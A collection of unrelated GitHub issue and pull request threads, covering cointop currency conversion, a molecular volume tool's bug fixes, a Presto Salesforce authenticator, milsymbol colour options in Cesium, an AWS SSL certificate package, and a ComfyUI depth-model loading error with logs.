Automated cherry pick of #4802

Cherry pick of #4802 on release-5.20.

#4802: edits to defaultMessage in components

/cc  @AninditaBasu

Will try to auto merge this PR once all tests and checks are passing. This might take up to an hour.

Trying to auto merge this PR.

Pull Request successfully merged
SHA: 502df8095574f6c82aa6eb0087a30f4de159db01


Add support for Euros €

From the API is possibile to select a different currency: https://api.coinmarketcap.com/v2/ticker/?convert=EUR&limit=10

@edoz90 added currency convert support
Delete your config
rm ~/.cointop

or update it to use the action show_currency_convert_menu on c key press.
c = "show_currency_convert_menu"

When you press c it'll bring up a menu like this


Macroscopic volumes and areas calculation

Fix issue #90

I noticed that when I try to load the old radii.txt file instead of the elements.txt file, the program crashes. With any other text file I get an error message.

I also noticed the crash with radii.txt
The problem was the presence of a line of 4 substrings with only alphabetical substrings:
Number	Element	vdw radius
I presume it crashes because it cannot convert the first substring to a number (there is no error catch for that substring).
Indeed, the only condition to check if we have an element line is
if(substrings.size() == 4) in  extractDataFromElemFile()

In the report file, some indents aren't where they should be. I believe the issue is with \t, because its output is unreliable. I've recently written a function that solves this in the command line and I believe it should be applicable here as well.

Strange, I checked all possible case scenarios (option combinations) and got the correct alignement on windows.
If spaces are better to align across different OS and you have a function for that, then it's all good.

Strange, I checked all possible case scenarios (option combinations) and got the correct alignement on windows.
If spaces are better to align across different OS and you have a function for that, then it's all good.

Layout is fixed now, for me at least. Let me know if everything works for you. I even saved a few lines of code. All the layout decisions are now centralised in lambda functions inside model_outputfiles.cpp. It may look a bit confusing but this way any change to the layout immediately changes the whole file.
However, I've noticed another problem: When using the CLI to generate report files, the g/cm^3 values can't be calculated. I believe this is because the molar mass is never calculated when not using the GUI.

Layout is fixed now, for me at least. Let me know if everything works for you. I even saved a few lines of code. All the layout decisions are now centralised in lambda functions inside model_outputfiles.cpp. It may look a bit confusing but this way any change to the layout immediately changes the whole file.

Works nicely. I fixed some wrong volume values displayed in the report (see f3d93bb )

However, I've noticed another problem: When using the CLI to generate report files, the g/cm^3 values can't be calculated. I believe this is because the molar mass is never calculated when not using the GUI.

This is likely because the Ctrl::runCalculation(args) function called by the CLI only extracts radii from elements.txt when setting parameters:
_current_calculation->extractRadiusMap(elements_file_path)
To fix this, I suppose that the proper way to proceed would be to call extractDataFromElemFile() in Ctrl::runCalculation(args) to store both radii and weight maps. Then set manually the weight map.
I wouldn't put the weight map in setParameters() because this is not a parameter available in the GUI unlike all other arguments in setParameters()

I wouldn't put the weight map in setParameters() because this is not a parameter available in the GUI unlike all other arguments in setParameters()

Agreed. I use the import function now. The one that imports radius map and weight map. Then, for setParameters() I simply get the radius map and pass it as an argument. This doesn't do anything, but it get's around having to make a new overloaded function with the radius map argument missing.
Only issue left now is to fix the crash. I'll let you know when that's fixed.

I believe all issues are fixed now. I found a somewhat tricky bug, that would cause the app to crash whenever a structure contained elements that were not contained in the elements.txt file. That is now fixed. I think the branch is now good to merge.


Add salesforce authenticator.

This allows Presto admins to enable users to authenticate to Presto via Salesforce username and password/token. This is not a Salesforce connector, and does not allow users to query Salesforce data. It's simply a means by which users can authenticate to Presto, similar to LDAP or password file.
There is a single layer of security beyond simply providing username and password/token, which is that the admin can configure, via salesforce.org in etc/password-authenticator.properties, one or more 18 character Salesforce Organization Id's in a comma separated list. The user's successful login to Salesforce must return a matching Organization Id. Optionally, the admin can configure "all" to explicitly ignore this layer of security.
@lhofhansl

Looks like 4 checks failed, which don't appear related to my code.  Please advise if someone feels otherwise.

The tests look indeed unrelated, all Hive related.

@dain , @martint if you guys want to take this for a spin, you can sign up for a free Salesforce developer org.

Sign up at https://developer.salesforce.com/signup.
Login and reset your security token.

Upper right profile circle, choose settings.
Search Reset My Security Token.
Click Reset Security Token.
Check your email.

Configure Presto with Org Id.

Upper right cog, choose Setup.
Search Company Information.
Locate the Salesforce.com Organization ID on the right-side column on the page.
Copy the ID and visit https://help.magentrix.com/aspx/ConvertSFID.  Paste the ID and convert it to the 18 char ID.
This 18 char ID goes into salesforce.org in etc/password-authenticator.properties, or run the real tests by setting the environment variables.

@lhofhansl

@dain thank you for the very thorough review.  I've addressed all items and updated the PR with another commit.
One exception is your point about the integration tests.  I will try to find other examples in the project and see how I can conform.
Please advise on whether you'd like me to resolve the comments.  Much appreciated!

One exception is your point about the integration tests. I will try to find other examples in the project and see how I can conform.

We have following tests interfacing with external services:

S3 tests https://github.com/prestosql/presto/blob/bc9790eef2a4664e0ca339167581447b6b24a9e4/.github/workflows/ci.yml#L91-L100
Azure tests https://github.com/prestosql/presto/pull/3044
Google Sheets connector tests (TestGoogleSheets)

Of these, the last case seems to be the best example in this case.
We also have a swathe of docker-based tests for most of our integration testing.
Not sure if there is a dockerized Salesforce exposing same APIs?

One exception is your point about the integration tests. I will try to find other examples in the project and see how I can conform.

We have following tests interfacing with external services:

S3 tests https://github.com/prestosql/presto/blob/bc9790eef2a4664e0ca339167581447b6b24a9e4/.github/workflows/ci.yml#L91-L100
Azure tests #3044
Google Sheets connector tests (TestGoogleSheets)

Of these, the last case seems to be the best example in this case.
We also have a swathe of docker-based tests for most of our integration testing.
Not sure if there is a dockerized Salesforce exposing same APIs?

@findepi thank you!  I've taken a look, and see what you guys are doing.  I don't think this necessarily warrants making it's way into the CI tests like you have with the connectors, since it's simply testing a login.  I'm checking with our auth team to see if there is a non-expiring user with no permissions that we could provide similar to the Google Sheets test.
My intent was simply to allow admins to easily test and understand the plugin before deploying it, though it's pretty straightforward.  If we aren't able to find credentials we can provide into the project, and there's no appetite for adopting the style of testing I've implemented here, I am fine removing those "for real" tests.

Looks good.

Awesome, thank you @dain !  What's the next step here?  Looks like all checks are passing now.  Do we still need review from @electrum ?

@weissleb sorry for the delay. It is merged now.  Thanks!

@weissleb Sorry I forgot, we should have docs for this.  Can you add docs similar to https://prestosql.io/docs/current/security/password-file.html (source https://github.com/prestosql/presto/blob/master/presto-docs/src/main/sphinx/security/password-file.rst)?

@weissleb Sorry I forgot, we should have docs for this. Can you add docs similar to https://prestosql.io/docs/current/security/password-file.html (source https://github.com/prestosql/presto/blob/master/presto-docs/src/main/sphinx/security/password-file.rst)?

Thank you sir!  Absolutely I can add docs.  Should I just open a new PR for them, @dain ?


[TEVA-4103] Hide equal opportunities section for hiring staff

Jira ticket URL
https://dfedigital.atlassian.net/browse/TEVA-4103

Review app on the left, current QA environment on the right.
Equal opportunities section removed so all looks good 👍


Outline and Info color for cesium

I really like this project. But I am having issues getting anything other than information text in anything other than black text, and I want the direction array (and probably also the outline) in something other than a 1px black line. Right now, the black defaults are not clearly visible when using bing sattelite maps as the cesium base map.
Here is the my code as it stands (Chrome V61).

        makeGlyph(sprite) {
        let milSym = milSymbols[sprite.type]
        if (milSym === undefined) milSym = milSymbols["UFO"]
        sprite.mps = 0
        sprite.symbol = milSym
        let sym2 = new ms.Symbol(milSym, { size: 26, type: sprite.marking, speed: sprite.mps + ' mps', direction: sprite.heading, infoColor: "red" })
        let glyph = new Cesium.Entity({
            name: sprite.marking,
            id: sprite.id,
            position: Cesium.Cartesian3.fromDegrees(sprite.lon, sprite.lat, sprite.altitude),
            billboard: {
                image: sym2.asCanvas(), //Get the canvas for the billboard
                // heightReference : Cesium.HeightReference.CLAMP_TO_GROUND,
                pixelOffset: new Cesium.Cartesian2(-sym2.markerAnchor.x, -sym2.markerAnchor.y), // Symbol offset
                eyeOffset: new Cesium.Cartesian3(0.0, 0.0, 0.0), // default
                horizontalOrigin: Cesium.HorizontalOrigin.LEFT, // default
                verticalOrigin: Cesium.VerticalOrigin.TOP
            },
            path: {
                leadTime: 100,
                trailTime: 100,
                width: 1,
                material: new Cesium.ColorMaterialProperty({
                    color : Cesium.Color.ORANGE,
                })
            },
            label: {
                text: sprite.marking,
                font: '14pt monospace',
                style: Cesium.LabelStyle.FILL_AND_OUTLINE,
                outlineWidth: 1,
                verticalOrigin: Cesium.VerticalOrigin.BOTTOM,
                pixelOffset: new Cesium.Cartesian2(0, -20)
            }
        })
        sprite.glyph = glyph
        this.infoBox(sprite)
        this.viewer.entities.add(glyph)
    }
    updateGlyph(sprite) {
        this.viewer.entities.suspendEvents()
        let loc = Cesium.Cartesian3.fromDegrees(sprite.lon, sprite.lat, sprite.altitude)
        sprite.mps = sprite.speed[0] + sprite.speed[1] + sprite.speed[2]
        sprite.glyph.position = loc;
        this.infoBox(sprite)
        this.viewer.entities.resumeEvents()
    }

The infoColor setting is a bug that was fixed the other day in #138, if you download the master branch it is fixed, but I haven't released a new version with this fix yet.
To get the information to stand out more I would suggest setting outlineWidth to a number such as 3 or 4, to get an outline around the symbol. It would also be possible to change the color of the direction arrow with some setting or as an extension.

I have been thinking and it would be possible to add an option called outlineColor that would affect the outline of the symbol frame, the direction arrow and the echelon indicators if set. What do you think about that?
Otherwise I would at the moment change update your code to use the outlineWidth option to have an outline around all parts of the generated symbol. Like this:
makeGlyph(sprite) {
  let milSym = milSymbols[sprite.type];
  if (milSym === undefined) milSym = milSymbols["UFO"];
  sprite.mps = 0;
  sprite.symbol = milSym;
  let sym2 = new ms.Symbol(
    milSym,
    { // Properties object
      type: sprite.marking,
      speed: sprite.mps + " mps",
      direction: sprite.heading
    },
    { // Style object
      outlineWidth: 4,
      size: 26
      /*infoColor: "red"*/
    }
  );
  let glyph = new Cesium.Entity({
    name: sprite.marking,
    id: sprite.id,
    position: Cesium.Cartesian3.fromDegrees(
      sprite.lon,
      sprite.lat,
      sprite.altitude
    ),
    billboard: {
      image: sym2.asCanvas(), //Get the canvas for the billboard
      // heightReference : Cesium.HeightReference.CLAMP_TO_GROUND,
      pixelOffset: new Cesium.Cartesian2(
        -sym2.getAnchor().x,
        -sym2.getAnchor().y
      ), // Symbol offset
      eyeOffset: new Cesium.Cartesian3(0.0, 0.0, 0.0), // default
      horizontalOrigin: Cesium.HorizontalOrigin.LEFT, // default
      verticalOrigin: Cesium.VerticalOrigin.TOP
    },
    path: {
      leadTime: 100,
      trailTime: 100,
      width: 1,
      material: new Cesium.ColorMaterialProperty({
        color: Cesium.Color.ORANGE
      })
    },
    label: {
      text: sprite.marking,
      font: "14pt monospace",
      style: Cesium.LabelStyle.FILL_AND_OUTLINE,
      outlineWidth: 1,
      verticalOrigin: Cesium.VerticalOrigin.BOTTOM,
      pixelOffset: new Cesium.Cartesian2(0, -20)
    }
  });
  sprite.glyph = glyph;
  this.infoBox(sprite);
  this.viewer.entities.add(glyph);
}
updateGlyph(sprite) {
  this.viewer.entities.suspendEvents();
  let loc = Cesium.Cartesian3.fromDegrees(
    sprite.lon,
    sprite.lat,
    sprite.altitude
  );
  sprite.mps = sprite.speed[0] + sprite.speed[1] + sprite.speed[2];
  sprite.glyph.position = loc;
  this.infoBox(sprite);
  this.viewer.entities.resumeEvents();
}

Do you mind pushing this change (infoColor fix)  to NPM and giving it the version number 1.3.2 ? Thank you for the tip about the outlineWidth, but it seems to effect the legibility of the symbol info (see below).
I think the color option for the outline would help, since I could do some simulated glow around the symbol and the text (I realize that outline is crisp, and not a gradient, but then a real gradient is probably too cpu/gpu intensive for lots of symbols.

I have now released milsymbol 1.3.2, so now the infoColor option should work again.

I installed this, but I still get the black text for info. Also, as you can see from the image above, the outline does not make the  info text readable, more like the other way.
My main goal will be the direction arrow, but that needs to be time variant, so maybe not.

Sorry, missed an error in the testing so the patch that I thought fixed the infoColor bug didn't work, will release a patched version in a few hours.
When it comes to the outline that has something to do with how cesium draws billboards, they get distorted in some way.

Bitte shon, No reason to apologize. I am so pleased you did this and maintain it. I can only glimpse at how much work it is.
In my humble opinion it is the way that SVG creates an outline, not the conversion to a Canvas, and now how Cesium shows the Canvas as a billboard (I turned off anti-alias and so it is always actual pixels with the normal to the viewer). But creating an outline around text does not really work well without good anti-alias and gradients. So one is stuck one way or the other. Color  lines will help since the key thing I want is the direction arrow, the rest I can show in the billboard label.

Now, I keep my fingers crossed, milsymbol 1.3.3 should fix the problems. It also includes an updated unit generator in the examples folder where you can try out all the options.
Regarding your humble opinion, milsymbol dosen't convert SVG to Canvas, it uses SVG like instructions internally, but they are not quite SVG, they are then converted to SVG or pure Canvas draw instructions when the symbol is requested. The reason for this is that you otherwise might end up with a "tainted" canvas in some webbrowsers, and this will prevent the application to interact with the Canvas because of security reasons.
I think the reason that the icons look strange is that cesium dosen't pixel align the rasters when they put them on their atlas, and this could be connected to #142. Unfortunately I haven't had time to investigate further what the reason is and if it would be possible to solve in some way on my side. It gets better if you turn up the resolution of the icons, but it won't go away.

Not asking you to spend time exploring this. But just to tell, what is going on, I am converting the symbol to a canvas manually, as suggested in the Cesium Milsymbols tutorial you wrote: https://cesium.com/blog/2016/07/20/cesium-and-milsymbol/
image: sym2.asCanvas(), //Get the canvas for the billboard

And as suggested in: https://stackoverflow.com/questions/33784256/cesium-label-blurred
I have turned off anti-aliasing in cesium using:
    this.viewer.scene.fxaa = false // no anti-alias, otherwise billboards are blurry


Naming and Usage

Naming
In https://github.com/sidorares/node-mysql2/issues/2581#issuecomment-2046305122, the suggested name was awsCaBundle.
We should use this?

Currently, the temporary name is just profiles.

Usage

Based in the current temporary name and prioritizing not breaking changes.

mysqljs/mysql and node-mysql2
const profiles = require('aws-ssl-profiles').profiles;

exports['Amazon RDS'] = profiles;

CJS (directly)
const { profiles } = require('aws-ssl-profiles');
// ...

const conn = mysql.createConnection({
  ssl: profiles,
);

ESM (directly)
import { profiles } from 'aws-ssl-profiles';
// ...

const conn = mysql.createConnection({
  ssl: profiles,
);

ℹ Notes

The current profiles match the exact profiles from MySQL2 3.9.4.

Naturally, it doesn't fix any issues, such as https://github.com/sidorares/node-mysql2/issues/2581.
A simple alternative could be to organize the unique certificates from versions < 3.9.4 and >= 3.9.4.

I opted to use named exports instead of default exports to simplify use (and development) for both CJS and ESM. Please let me know if it's a problem.

can we just have it as a default export, so we don't need to think about name?
import profiles from 'aws-ssl-profiles';

also in mysql2 lib/constants/ssl_profiles.js we export an object with profiles where only key currently is 'Amazon RDS'. I think the intention was to add later more profiles from other known services. Given that we haven't added any other, and repo name suggests it's aws focused, maybe we can just export here the content of reauire('lib/constants/ssl_profiles.js')['Amazon RDS']
Happy to discuss the scope here, and we at the stage when we can rename things easily:

Are the any other AWS services that have different cert bundle?
Are there any other popular services that might benefit from a npm packaged cert distribution?

can we just have it as a default export, so we don't need to think about name?

Yes, 🙋🏻♂
Taking a different approach, I noticed a local way to test all RDS certs locally using a  self-signed (rejectUnauthorized: false) container.

A manual test as example:

docker-compose.yml

version: '3.9'

services:
  mysql:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: testdb
    ports:
      - '3306:3306'
    volumes:
      - ./ca.pem:/etc/mysql/certs/ca.pem
    command:
      - --require_secure_transport=ON

test.js

import { readFileSync } from 'fs';
import mysql from 'mysql2/promise';

(async () => {
  const conn = await mysql.createConnection({
    host: 'localhost',
    user: 'root',
    password: 'root',
    database: 'testdb',
    ssl: {
      ca: readFileSync('some-rds.pem'),
      rejectUnauthorized: false,
    },
  });

  await conn.end();

  console.log('Conectado ao MySQL com SSL!');
})();

By this way, we can use all certificates as .pem files in development, then using a tool/helper to create a container for each certificate.
Naturally, a tool/helper to turn the .pem files back to .js strings in the build process.

With this approach, we can easily find all the missing certificates between all versions of MySQL and MySQL2.
This would be a manual job the first time, but then it would be much easier to maintain and organize, also preventing errors like in https://github.com/sidorares/node-mysql2/pull/2131.
It includes separating each certificate category by directory.

maybe we can just export here the content of reauire('lib/constants/ssl_profiles.js')['Amazon RDS']

So, that's the current situation 🙋🏻♂
I just did a copy/paste, except for the TypeScript adaptation.
https://github.com/mysqljs/aws-ssl-profiles/blob/2a986994cd4066ce083f6d41d21b48b22d10477a/src/profiles/ca/defaults.ts

Lastly, I created it in a way that we can add more certificates dinamically.
For example, the default option would be to bring in all the certificates, but we can also use an export for each certificate category individually.


Fixed compiler warnings

flymake-mode-off is an obsolete function (as of 26.1); use flymake-mode instead.
flymake-mode-on is an obsolete function (as of 26.1); use flymake-mode instead.

@dominikh Could you please take a look

Sorry, I'll look at it soon(tm), am currently a bit busy.
Change looks good at a glance, though.

@dominikh ping :)

There, at last.


epth 使用不了，一直报错：Zoe深度预处理器 PytorchStreamReader failed reading zip archive: failed finding central directory

Debug Lods:
ComfyUI Error Report
Error Details

Node Type: Zoe-DepthMapPreprocessor
Exception Type: RuntimeError
Exception Message: PytorchStreamReader failed reading zip archive: failed finding central directory

Stack Trace
File "H:\ComfyUI-aki-v1.2\execution.py", line 323, in execute
output_data, output_ui, has_subgraph = get_output_data(obj, input_data_all, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
File "H:\ComfyUI-aki-v1.2\execution.py", line 198, in get_output_data
return_values = _map_node_over_list(obj, input_data_all, obj.FUNCTION, allow_interrupt=True, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
File "H:\ComfyUI-aki-v1.2\execution.py", line 169, in _map_node_over_list
process_inputs(input_dict, i)
File "H:\ComfyUI-aki-v1.2\execution.py", line 158, in process_inputs
results.append(getattr(obj, func)(**inputs))
File "H:\ComfyUI-aki-v1.2\custom_nodes\comfyui_controlnet_aux\node_wrappers\zoe.py", line 17, in execute
model = ZoeDetector.from_pretrained().to(model_management.get_torch_device())
File "H:\ComfyUI-aki-v1.2\custom_nodes\comfyui_controlnet_aux\src\custom_controlnet_aux\zoe_init_.py", line 26, in from_pretrained
model.load_state_dict(torch.load(model_path, map_location=torch.device('cpu'))['model'])
File "H:\ComfyUI-aki-v1.2\python\lib\site-packages\torch\serialization.py", line 993, in load
with _open_zipfile_reader(opened_file) as opened_zipfile:
File "H:\ComfyUI-aki-v1.2\python\lib\site-packages\torch\serialization.py", line 447, in init
super().init(torch._C.PyTorchFileReader(name_or_buffer))
Logs：
2024-09-11 18:31:14,967 - root - INFO - Total VRAM 11264 MB, total RAM 16337 MB
2024-09-11 18:31:14,967 - root - INFO - pytorch version: 2.1.2+cu118
2024-09-11 18:31:15,272 - root - INFO - xformers version: 0.0.23.post1+cu118
2024-09-11 18:31:15,272 - root - INFO - Set vram state to: NORMAL_VRAM
2024-09-11 18:31:15,272 - root - INFO - Device: cuda:0 NVIDIA GeForce GTX 1080 Ti : native
2024-09-11 18:31:16,451 - root - INFO - Using xformers cross attention
2024-09-11 18:31:17,201 - root - INFO - [Prompt Server] web root: H:\ComfyUI-aki-v1.2\web
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path checkpoints H:\sd-webui-aki-v4.6.1\models/Stable-diffusion
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path configs H:\sd-webui-aki-v4.6.1\models/Stable-diffusion
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path vae H:\sd-webui-aki-v4.6.1\models/VAE
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path loras H:\sd-webui-aki-v4.6.1\models/Lora
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path loras H:\sd-webui-aki-v4.6.1\models/LyCORIS
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path upscale_models H:\sd-webui-aki-v4.6.1\models/ESRGAN
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path upscale_models H:\sd-webui-aki-v4.6.1\models/RealESRGAN
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path upscale_models H:\sd-webui-aki-v4.6.1\models/SwinIR
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path embeddings H:\sd-webui-aki-v4.6.1\embeddings
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path hypernetworks H:\sd-webui-aki-v4.6.1\models/hypernetworks
2024-09-11 18:31:17,217 - root - INFO - Adding extra search path controlnet H:\sd-webui-aki-v4.6.1\models\ControlNet
2024-09-11 18:31:18,107 - root - WARNING - Traceback (most recent call last):
File "H:\ComfyUI-aki-v1.2\nodes.py", line 1993, in load_custom_node
module_spec.loader.exec_module(module)
File "", line 883, in exec_module
File "", line 241, in _call_with_frames_removed
File "H:\ComfyUI-aki-v1.2\comfy_extras\nodes_audio.py", line 1, in
import torchaudio
ModuleNotFoundError: No module named 'torchaudio'
2024-09-11 18:31:18,107 - root - WARNING - Cannot import H:\ComfyUI-aki-v1.2\comfy_extras\nodes_audio.py module for custom nodes: No module named 'torchaudio'
2024-09-11 18:31:26,857 - root - INFO - Total VRAM 11264 MB, total RAM 16337 MB
2024-09-11 18:31:26,857 - root - INFO - pytorch version: 2.1.2+cu118
2024-09-11 18:31:26,857 - root - INFO - xformers version: 0.0.23.post1+cu118
2024-09-11 18:31:26,857 - root - INFO - Set vram state to: NORMAL_VRAM
2024-09-11 18:31:26,857 - root - INFO - Device: cuda:0 NVIDIA GeForce GTX 1080 Ti : native
2024-09-11 18:31:36,593 - root - WARNING - Traceback (most recent call last):
File "H:\ComfyUI-aki-v1.2\nodes.py", line 1993, in load_custom_node
module_spec.loader.exec_module(module)
File "", line 879, in exec_module
File "", line 1016, in get_code
File "", line 1073, in get_data
FileNotFoundError: [Errno 2] No such file or directory: 'H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_FaceAnalysis\init.py'
2024-09-11 18:31:36,593 - root - WARNING - Cannot import H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_FaceAnalysis module for custom nodes: [Errno 2] No such file or directory: 'H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_FaceAnalysis\init.py'
2024-09-11 18:31:37,095 - root - INFO -
Import times for custom nodes:
2024-09-11 18:31:37,095 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\websocket_image_save.py
2024-09-11 18:31:37,095 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\AIGODLIKE-ComfyUI-Translation
2024-09-11 18:31:37,095 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ControlNet-LLLite-ComfyUI
2024-09-11 18:31:37,095 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_TiledKSampler
2024-09-11 18:31:37,095 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\stability-ComfyUI-nodes
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI-WD14-Tagger
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_experiments
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\PowerNoiseSuite
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds (IMPORT FAILED): H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_FaceAnalysis
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\images-grid-comfy-plugin
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_UltimateSDUpscale
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI-Custom-Scripts
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI-Frame-Interpolation
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\Derfuu_ComfyUI_ModdedNodes
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI-Advanced-ControlNet
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\efficiency-nodes-comfyui
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\FreeU_Advanced
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_IPAdapter_plus
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI-AnimateDiff-Evolved
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\comfyui-workspace-manager
2024-09-11 18:31:37,096 - root - INFO -    0.0 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI-Marigold
2024-09-11 18:31:37,097 - root - INFO -    0.1 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_Comfyroll_CustomNodes
2024-09-11 18:31:37,097 - root - INFO -    0.1 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\comfyui_controlnet_aux
2024-09-11 18:31:37,097 - root - INFO -    0.1 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI-Crystools
2024-09-11 18:31:37,097 - root - INFO -    0.1 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI-Inspire-Pack
2024-09-11 18:31:37,097 - root - INFO -    0.4 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_FizzNodes
2024-09-11 18:31:37,097 - root - INFO -    0.5 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI-Manager
2024-09-11 18:31:37,097 - root - INFO -    0.8 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\comfyui-instantId-faceswap
2024-09-11 18:31:37,097 - root - INFO -    7.2 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI-Impact-Pack
2024-09-11 18:31:37,097 - root - INFO -    9.6 seconds: H:\ComfyUI-aki-v1.2\custom_nodes\ComfyUI_Custom_Nodes_AlekPet
2024-09-11 18:31:37,097 - root - INFO -
2024-09-11 18:31:37,097 - root - WARNING - WARNING: some comfy_extras/ nodes did not import correctly. This may be because they are missing some dependencies.
2024-09-11 18:31:37,097 - root - WARNING - IMPORT FAILED: nodes_audio.py
2024-09-11 18:31:37,097 - root - WARNING -
This issue might be caused by new missing dependencies added the last time you updated ComfyUI.
2024-09-11 18:31:37,097 - root - WARNING - Please do a: pip install -r requirements.txt
2024-09-11 18:31:37,097 - root - WARNING -
2024-09-11 18:31:37,107 - root - INFO - Starting server
2024-09-11 18:31:37,107 - root - INFO - To see the GUI go to: http://<IP_ADDRESS>:8188
2024-09-11 18:31:46,156 - root - INFO - got prompt
2024-09-11 18:31:52,834 - root - ERROR - !!! Exception during processing !!! PytorchStreamReader failed reading zip archive: failed finding central directory
2024-09-11 18:31:52,836 - root - ERROR - Traceback (most recent call last):
File "H:\ComfyUI-aki-v1.2\execution.py", line 323, in execute
output_data, output_ui, has_subgraph = get_output_data(obj, input_data_all, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
File "H:\ComfyUI-aki-v1.2\execution.py", line 198, in get_output_data
return_values = _map_node_over_list(obj, input_data_all, obj.FUNCTION, allow_interrupt=True, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
File "H:\ComfyUI-aki-v1.2\execution.py", line 169, in map_node_over_list
process_inputs(input_dict, i)
File "H:\ComfyUI-aki-v1.2\execution.py", line 158, in process_inputs
results.append(getattr(obj, func)(**inputs))
File "H:\ComfyUI-aki-v1.2\custom_nodes\comfyui_controlnet_aux\node_wrappers\zoe.py", line 17, in execute
model = ZoeDetector.from_pretrained().to(model_management.get_torch_device())
File "H:\ComfyUI-aki-v1.2\custom_nodes\comfyui_controlnet_aux\src\custom_controlnet_aux\zoe_init.py", line 26, in from_pretrained
model.load_state_dict(torch.load(model_path, map_location=torch.device('cpu'))['model'])
File "H:\ComfyUI-aki-v1.2\python\lib\site-packages\torch\serialization.py", line 993, in load
with _open_zipfile_reader(opened_file) as opened_zipfile:
File "H:\ComfyUI-aki-v1.2\python\lib\site-packages\torch\serialization.py", line 447, in init
super().init(torch._C.PyTorchFileReader(name_or_buffer))
RuntimeError: PytorchStreamReader failed reading zip archive: failed finding central directory
2024-09-11 18:31:52,837 - root - INFO - Prompt executed in 6.67 seconds
2024-09-11 18:32:13,602 - root - INFO - got prompt
2024-09-11 18:32:18,578 - root - ERROR - !!! Exception during processing !!! PytorchStreamReader failed reading zip archive: failed finding central directory
2024-09-11 18:32:18,578 - root - ERROR - Traceback (most recent call last):
File "H:\ComfyUI-aki-v1.2\execution.py", line 323, in execute
output_data, output_ui, has_subgraph = get_output_data(obj, input_data_all, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
File "H:\ComfyUI-aki-v1.2\execution.py", line 198, in get_output_data
return_values = _map_node_over_list(obj, input_data_all, obj.FUNCTION, allow_interrupt=True, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
File "H:\ComfyUI-aki-v1.2\execution.py", line 169, in map_node_over_list
process_inputs(input_dict, i)
File "H:\ComfyUI-aki-v1.2\execution.py", line 158, in process_inputs
results.append(getattr(obj, func)(**inputs))
File "H:\ComfyUI-aki-v1.2\custom_nodes\comfyui_controlnet_aux\node_wrappers\zoe.py", line 17, in execute
model = ZoeDetector.from_pretrained().to(model_management.get_torch_device())
File "H:\ComfyUI-aki-v1.2\custom_nodes\comfyui_controlnet_aux\src\custom_controlnet_aux\zoe_init.py", line 26, in from_pretrained
model.load_state_dict(torch.load(model_path, map_location=torch.device('cpu'))['model'])
File "H:\ComfyUI-aki-v1.2\python\lib\site-packages\torch\serialization.py", line 993, in load
with _open_zipfile_reader(opened_file) as opened_zipfile:
File "H:\ComfyUI-aki-v1.2\python\lib\site-packages\torch\serialization.py", line 447, in init
super().init(torch._C.PyTorchFileReader(name_or_buffer))
RuntimeError: PytorchStreamReader failed reading zip archive: failed finding central directory
2024-09-11 18:32:18,579 - root - INFO - Prompt executed in 4.97 seconds
2024-09-11 18:34:28,729 - root - INFO - got prompt
